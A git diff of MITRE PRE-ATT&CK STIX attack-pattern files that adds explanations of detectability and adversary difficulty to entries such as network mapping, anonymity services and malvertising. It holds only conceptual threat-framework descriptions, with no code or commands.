             "id": "attack-pattern--c9fb4451-729d-4771-b205-52c1829f949c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Identify resources required to build capabilities",
-            "description": "As with legitimate development efforts, different skill sets may be required for different phases of an attack. The skills needed may be located in house, can be developed, or may need to be contracted out. (Citation: APT1)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "As with legitimate development efforts, different skill sets may be required for different phases of an attack. The skills needed may be located in house, can be developed, or may need to be contracted out. (Citation: APT1)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Recruitment is, by its nature, either clandestine or off the record.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Like target organizations, adversary organizations are competing to identify and hire top technical talent.  Training less technical staff is also a viable option.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Recruitment is, by its nature, either clandestine or off the record.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Like target organizations, adversary organizations are competing to identify and hire top technical talent.  Training less technical staff is also a viable option."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--cc0faf66-4df2-4328-9c9c-b0ca5de915ad.json b/pre-attack/attack-pattern/attack-pattern--cc0faf66-4df2-4328-9c9c-b0ca5de915ad.json
index 6a1ba7a872..eec9a607bd 100644
--- a/pre-attack/attack-pattern/attack-pattern--cc0faf66-4df2-4328-9c9c-b0ca5de915ad.json
+++ b/pre-attack/attack-pattern/attack-pattern--cc0faf66-4df2-4328-9c9c-b0ca5de915ad.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--884685cb-0881-41be-a4fb-4e8aa80a21c9",
+    "id": "bundle--f7e2ced5-1ed8-4be5-8411-f746bea66c08",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--cc0faf66-4df2-4328-9c9c-b0ca5de915ad",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Secure and protect infrastructure",
-            "description": "An adversary may secure and protect their infrastructure just as defenders do. This could include the use of VPNs, security software, logging and monitoring, passwords, or other defensive measures. (Citation: KrebsTerracottaVPN)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "An adversary may secure and protect their infrastructure just as defenders do. This could include the use of VPNs, security software, logging and monitoring, passwords, or other defensive measures. (Citation: KrebsTerracottaVPN)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Indistinguishable from standard security practices employed by legitimate operators.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Adversary benefits from our own advances, techniques, and software when securing and protecting their own development infrastructure.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Indistinguishable from standard security practices employed by legitimate operators.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Adversary benefits from our own advances, techniques, and software when securing and protecting their own development infrastructure."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--cdfdb0cd-a839-403c-9dd6-8a85d8c5c73d.json b/pre-attack/attack-pattern/attack-pattern--cdfdb0cd-a839-403c-9dd6-8a85d8c5c73d.json
index f3fa4c1325..a6a2d70b6b 100644
--- a/pre-attack/attack-pattern/attack-pattern--cdfdb0cd-a839-403c-9dd6-8a85d8c5c73d.json
+++ b/pre-attack/attack-pattern/attack-pattern--cdfdb0cd-a839-403c-9dd6-8a85d8c5c73d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c11a5846-7f90-49ba-b387-d984761ba187",
+    "id": "bundle--4393ac66-6b16-4f7a-9a52-362e318a0779",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--cdfdb0cd-a839-403c-9dd6-8a85d8c5c73d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Map network topology",
-            "description": "A network topology is the arrangement of the various elements of a network (e.g., servers, workstations, printers, routers, firewalls, etc.). Mapping a network allows an adversary to understand how the elements are connected or related. (Citation: man traceroute) (Citation: Shodan Tutorial)\n\nDetectable by Common Defenses: Yes\n\nDifficulty for the Adversary: Yes",
+            "description": "A network topology is the arrangement of the various elements of a network (e.g., servers, workstations, printers, routers, firewalls, etc.). Mapping a network allows an adversary to understand how the elements are connected or related. (Citation: man traceroute) (Citation: Shodan Tutorial)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Network mapping techniques/tools typically generate benign traffic that does not require further investigation by a defender since there is no actionable defense to execute.  Defender review of access logs may provide some insight based on trends or patterns.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Various available tools and data sources for scouting and detecting network topologies.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -36,7 +36,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Yes",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Network mapping techniques/tools typically generate benign traffic that does not require further investigation by a defender since there is no actionable defense to execute.  Defender review of access logs may provide some insight based on trends or patterns.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Various available tools and data sources for scouting and detecting network topologies."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--d2c4206a-a431-4494-834d-52944a79e9f4.json b/pre-attack/attack-pattern/attack-pattern--d2c4206a-a431-4494-834d-52944a79e9f4.json
index bde142a384..e708341d6d 100644
--- a/pre-attack/attack-pattern/attack-pattern--d2c4206a-a431-4494-834d-52944a79e9f4.json
+++ b/pre-attack/attack-pattern/attack-pattern--d2c4206a-a431-4494-834d-52944a79e9f4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--995b3b23-7477-4ee3-8824-47eeeb6f2aaa",
+    "id": "bundle--b2ff0dd7-c8ff-4e17-91f1-0ce8253c439c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--d2c4206a-a431-4494-834d-52944a79e9f4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Distribute malicious software development tools",
             "description": "An adversary could distribute malicious software development tools (e.g., compiler) that hide malicious behavior in software built using the tools. (Citation: PA XcodeGhost) (Citation: Reflections on Trusting Trust)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: No",
             "kill_chain_phases": [
diff --git a/pre-attack/attack-pattern/attack-pattern--d3999268-740f-467e-a075-c82e2d04be62.json b/pre-attack/attack-pattern/attack-pattern--d3999268-740f-467e-a075-c82e2d04be62.json
index a514cbff2e..2b946e9694 100644
--- a/pre-attack/attack-pattern/attack-pattern--d3999268-740f-467e-a075-c82e2d04be62.json
+++ b/pre-attack/attack-pattern/attack-pattern--d3999268-740f-467e-a075-c82e2d04be62.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--89de2de0-b920-44f2-8540-ddcf39831c0e",
+    "id": "bundle--ba7cbbeb-b552-4f27-830b-f46209345e12",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--d3999268-740f-467e-a075-c82e2d04be62",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Assess leadership areas of interest",
-            "description": "Leadership assesses the areas of most interest to them and generates Key Intelligence Topics (KIT) or Key Intelligence Questions (KIQ). For example, an adversary knows from open and closed source reporting that cyber is of interest, resulting in it being a KIT. (Citation: ODNIIntegration)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Leadership assesses the areas of most interest to them and generates Key Intelligence Topics (KIT) or Key Intelligence Questions (KIQ). For example, an adversary knows from open and closed source reporting that cyber is of interest, resulting in it being a KIT. (Citation: ODNIIntegration)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect.  Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle.  May not be done by all adversaries.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect.  Few agencies and commercial organizations may have unique insights.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle.  May not be done by all adversaries."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--d3dca536-8bf0-4e43-97c1-44a2353c3d69.json b/pre-attack/attack-pattern/attack-pattern--d3dca536-8bf0-4e43-97c1-44a2353c3d69.json
index 5c737ab30e..54d3d6cc32 100644
--- a/pre-attack/attack-pattern/attack-pattern--d3dca536-8bf0-4e43-97c1-44a2353c3d69.json
+++ b/pre-attack/attack-pattern/attack-pattern--d3dca536-8bf0-4e43-97c1-44a2353c3d69.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--085a9fe1-fe06-49c8-8790-0310670fec43",
+    "id": "bundle--8516e527-caa6-41ce-8258-503d9f8cc00a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--d3dca536-8bf0-4e43-97c1-44a2353c3d69",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Anonymity services",
-            "description": "Anonymity services reduce the amount of information available that can be used to track an adversary's activities.  Multiple options are available to hide activity, limit tracking, and increase anonymity. (Citation: TOR Design) (Citation: Stratfor2012)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Anonymity services reduce the amount of information available that can be used to track an adversary's activities.  Multiple options are available to hide activity, limit tracking, and increase anonymity. (Citation: TOR Design) (Citation: Stratfor2012)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Depends on service.  Some are easy to detect, but are hard to trace (e.g., [https://torproject.org TOR]).\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Easy access to anonymizers, quasi-anonymous services like remailers, [https://torproject.org TOR], relays, burner phones, etc.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -36,7 +36,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Depends on service.  Some are easy to detect, but are hard to trace (e.g., [https://torproject.org TOR]).",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Easy access to anonymizers, quasi-anonymous services like remailers, [https://torproject.org TOR], relays, burner phones, etc."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--d45fe3c2-0688-43b9-ac07-7eb86f575e93.json b/pre-attack/attack-pattern/attack-pattern--d45fe3c2-0688-43b9-ac07-7eb86f575e93.json
index d36c16c28f..d0095e22e3 100644
--- a/pre-attack/attack-pattern/attack-pattern--d45fe3c2-0688-43b9-ac07-7eb86f575e93.json
+++ b/pre-attack/attack-pattern/attack-pattern--d45fe3c2-0688-43b9-ac07-7eb86f575e93.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0660ea0e-6858-4350-bd80-3f51db106a73",
+    "id": "bundle--f4885a6c-91c8-4550-b557-14a82fa1c38e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--d45fe3c2-0688-43b9-ac07-7eb86f575e93",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Determine approach/attack vector",
-            "description": "The approach or attack vector outlines the specifics behind how the adversary would like to attack the target.  As additional information is known through the other phases of PRE-ATT&CK, an adversary may update the approach or attack vector. (Citation: CyberAdversaryBehavior) (Citation: WITCHCOVEN2015) (Citation: JP3-60) (Citation: JP3-12 (R)) (Citation: DoD Cyber 2015)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "The approach or attack vector outlines the specifics behind how the adversary would like to attack the target.  As additional information is known through the other phases of PRE-ATT&CK, an adversary may update the approach or attack vector. (Citation: CyberAdversaryBehavior) (Citation: WITCHCOVEN2015) (Citation: JP3-60) (Citation: JP3-12 (R)) (Citation: DoD Cyber 2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect.  May change for special use cases or adversary and defender overlays.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -48,7 +48,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect.  May change for special use cases or adversary and defender overlays.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--d58f3996-e293-4f69-a2c8-0e1851cb8297.json b/pre-attack/attack-pattern/attack-pattern--d58f3996-e293-4f69-a2c8-0e1851cb8297.json
index 199c75ff59..50718fa1ce 100644
--- a/pre-attack/attack-pattern/attack-pattern--d58f3996-e293-4f69-a2c8-0e1851cb8297.json
+++ b/pre-attack/attack-pattern/attack-pattern--d58f3996-e293-4f69-a2c8-0e1851cb8297.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--194aaf4e-3584-47e8-94c0-1a70bb57bd45",
+    "id": "bundle--158ca7fc-7518-4bcd-9b47-d24dd123187e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--d58f3996-e293-4f69-a2c8-0e1851cb8297",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Obtain Apple iOS enterprise distribution key pair and certificate",
-            "description": "The adversary can obtain an Apple iOS enterprise distribution key pair and certificate and use it to distribute malicious apps directly to Apple iOS devices without the need to publish the apps to the Apple App Store (where the apps could potentially be detected). (Citation: Apple Developer Enterprise Porgram Apps) (Citation: Fruit vs Zombies) (Citation: WIRELURKER) (Citation: Sideloading Change)\n\nDetectable by Common Defenses: Partial\n\nDifficulty for the Adversary: No",
+            "description": "The adversary can obtain an Apple iOS enterprise distribution key pair and certificate and use it to distribute malicious apps directly to Apple iOS devices without the need to publish the apps to the Apple App Store (where the apps could potentially be detected). (Citation: Apple Developer Enterprise Porgram Apps) (Citation: Fruit vs Zombies) (Citation: WIRELURKER) (Citation: Sideloading Change)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: Starting in iOS 9, Apple has changed the user interface when installing apps to better indicate to users the potential implications of installing apps signed by an enterprise distribution key rather than from Apple's App Store and to make it more difficult for users to inadvertently install these apps. Additionally, enterprise management controls are available that can be imposed to prevent installing these apps. Also, enterprise mobility management / mobile device management (EMM/MDM) systems can be used to scan for the presence of undesired apps on enterprise mobile devices.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Apple requires a DUNS number, corporate documentation, and $299 to obtain an enterprise distribution certificate. Additionally, Apple revokes certificates if they discover malicious use.  However, the enrollment information could be falsified to Apple by an adversary, or an adversary could steal an existing enterprise distribution certificate (and the corresponding private key) from a business that already possesses one.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -44,7 +44,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Partial",
-            "x_mitre_difficulty_for_adversary": "No"
+            "x_mitre_detectable_by_common_defenses_explanation": "Starting in iOS 9, Apple has changed the user interface when installing apps to better indicate to users the potential implications of installing apps signed by an enterprise distribution key rather than from Apple's App Store and to make it more difficult for users to inadvertently install these apps. Additionally, enterprise management controls are available that can be imposed to prevent installing these apps. Also, enterprise mobility management / mobile device management (EMM/MDM) systems can be used to scan for the presence of undesired apps on enterprise mobile devices.",
+            "x_mitre_difficulty_for_adversary": "No",
+            "x_mitre_difficulty_for_adversary_explanation": "Apple requires a DUNS number, corporate documentation, and $299 to obtain an enterprise distribution certificate. Additionally, Apple revokes certificates if they discover malicious use.  However, the enrollment information could be falsified to Apple by an adversary, or an adversary could steal an existing enterprise distribution certificate (and the corresponding private key) from a business that already possesses one."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--d69c3e06-8311-4093-8e3e-0a8e06b15d92.json b/pre-attack/attack-pattern/attack-pattern--d69c3e06-8311-4093-8e3e-0a8e06b15d92.json
index 9fc27b4dad..59e58956e8 100644
--- a/pre-attack/attack-pattern/attack-pattern--d69c3e06-8311-4093-8e3e-0a8e06b15d92.json
+++ b/pre-attack/attack-pattern/attack-pattern--d69c3e06-8311-4093-8e3e-0a8e06b15d92.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--321e70e8-5af4-40a3-98ca-115b8453fe49",
+    "id": "bundle--d459326e-cc36-4043-8c46-6c2e200cb0c5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--d69c3e06-8311-4093-8e3e-0a8e06b15d92",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Assess targeting options",
-            "description": "An adversary may assess a target's operational security (OPSEC) practices in order to identify targeting options. A target may share different information in different settings or be more of less cautious in different environments. (Citation: Scasny2015) (Citation: EverstineAirStrikes)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "An adversary may assess a target's operational security (OPSEC) practices in order to identify targeting options. A target may share different information in different settings or be more of less cautious in different environments. (Citation: Scasny2015) (Citation: EverstineAirStrikes)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender does not have access to information stored outside of defenders scope or visibility (e.g., log data for Facebook is not easily accessible).  Defender has very infrequent visibility into an adversary's more detailed TTPs for developing people targets.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Information is out in the open for items that are available - part of this is ease of use for consumers to support the expected networking use case.  OSINT can provide many avenues to gather intel which contain weaknesses.  Developing and refining the methodology to exploit weak human targets has been done for years (e.g., spies).",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -36,7 +36,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Defender does not have access to information stored outside of defenders scope or visibility (e.g., log data for Facebook is not easily accessible).  Defender has very infrequent visibility into an adversary's more detailed TTPs for developing people targets.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Information is out in the open for items that are available - part of this is ease of use for consumers to support the expected networking use case.  OSINT can provide many avenues to gather intel which contain weaknesses.  Developing and refining the methodology to exploit weak human targets has been done for years (e.g., spies)."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--d72c0bc0-3007-418c-842c-328027ebdbc1.json b/pre-attack/attack-pattern/attack-pattern--d72c0bc0-3007-418c-842c-328027ebdbc1.json
index 498cf4a757..9d5cdaaaa4 100644
--- a/pre-attack/attack-pattern/attack-pattern--d72c0bc0-3007-418c-842c-328027ebdbc1.json
+++ b/pre-attack/attack-pattern/attack-pattern--d72c0bc0-3007-418c-842c-328027ebdbc1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--af7d078e-6eac-45a8-a5af-f375d5457198",
+    "id": "bundle--1a69aa4f-1c08-437a-a78d-58e306c2e972",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--d72c0bc0-3007-418c-842c-328027ebdbc1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Deploy exploit using advertising",
-            "description": "Exploits spread through advertising (malvertising) involve injecting malicious or malware-laden advertisements into legitimate online advertising networks and webpages. (Citation: TPMalvertising)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Exploits spread through advertising (malvertising) involve injecting malicious or malware-laden advertisements into legitimate online advertising networks and webpages. (Citation: TPMalvertising)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Although some commercial technologies are being advertised which claim to detect malvertising, it largely spreads unknowingly because it doesn't always require an action by a user.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: An adversary can deploy exploits via malvertising using multiple mechanisms.  Such mechanisms include an image ad that is infected, redirection, or using social engineering to get the end user to install the malicious software themselves.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Although some commercial technologies are being advertised which claim to detect malvertising, it largely spreads unknowingly because it doesn't always require an action by a user.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "An adversary can deploy exploits via malvertising using multiple mechanisms.  Such mechanisms include an image ad that is infected, redirection, or using social engineering to get the end user to install the malicious software themselves."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--d778cb83-2292-4995-b006-d38f52bc1e64.json b/pre-attack/attack-pattern/attack-pattern--d778cb83-2292-4995-b006-d38f52bc1e64.json
index f45ac68d15..7ab5d84317 100644
--- a/pre-attack/attack-pattern/attack-pattern--d778cb83-2292-4995-b006-d38f52bc1e64.json
+++ b/pre-attack/attack-pattern/attack-pattern--d778cb83-2292-4995-b006-d38f52bc1e64.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1094f5bd-02a3-452b-92e9-78eddfeef4ab",
+    "id": "bundle--03c53e8a-b3cc-4af0-b77f-ea0430819c47",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--d778cb83-2292-4995-b006-d38f52bc1e64",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Identify gap areas",
-            "description": "Leadership identifies gap areas that generate a compelling need to generate a Key Intelligence Topic (KIT) or Key Intelligence Question (KIQ). (Citation: ODNIIntegration) (Citation: ICD115)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Leadership identifies gap areas that generate a compelling need to generate a Key Intelligence Topic (KIT) or Key Intelligence Question (KIQ). (Citation: ODNIIntegration) (Citation: ICD115)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect.  Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle.  May not be done by all adversaries.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -36,7 +36,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect.  Few agencies and commercial organizations may have unique insights.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle.  May not be done by all adversaries."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--dc7dfc9f-be1b-4e6e-a2e6-9a9bb2400ec9.json b/pre-attack/attack-pattern/attack-pattern--dc7dfc9f-be1b-4e6e-a2e6-9a9bb2400ec9.json
index 3502126ef4..a820739816 100644
--- a/pre-attack/attack-pattern/attack-pattern--dc7dfc9f-be1b-4e6e-a2e6-9a9bb2400ec9.json
+++ b/pre-attack/attack-pattern/attack-pattern--dc7dfc9f-be1b-4e6e-a2e6-9a9bb2400ec9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--23e17027-b847-4ddf-b35e-c0d245cc393d",
+    "id": "bundle--d469de6e-7d55-4921-8d6b-0145f2739c59",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--dc7dfc9f-be1b-4e6e-a2e6-9a9bb2400ec9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Determine highest level tactical element",
-            "description": "From a tactical viewpoint, an adversary could potentially have a primary and secondary level target.  The primary target represents the highest level tactical element the adversary wishes to attack.  For example, the corporate network within a corporation or the division within an agency. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12 (R)) (Citation: DoD Cyber 2015)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "From a tactical viewpoint, an adversary could potentially have a primary and secondary level target.  The primary target represents the highest level tactical element the adversary wishes to attack.  For example, the corporate network within a corporation or the division within an agency. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12 (R)) (Citation: DoD Cyber 2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect.  May change for special use cases or adversary and defender overlays.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -44,7 +44,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect.  May change for special use cases or adversary and defender overlays.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage."
         }
     ]
 }
\ No newline at end of file
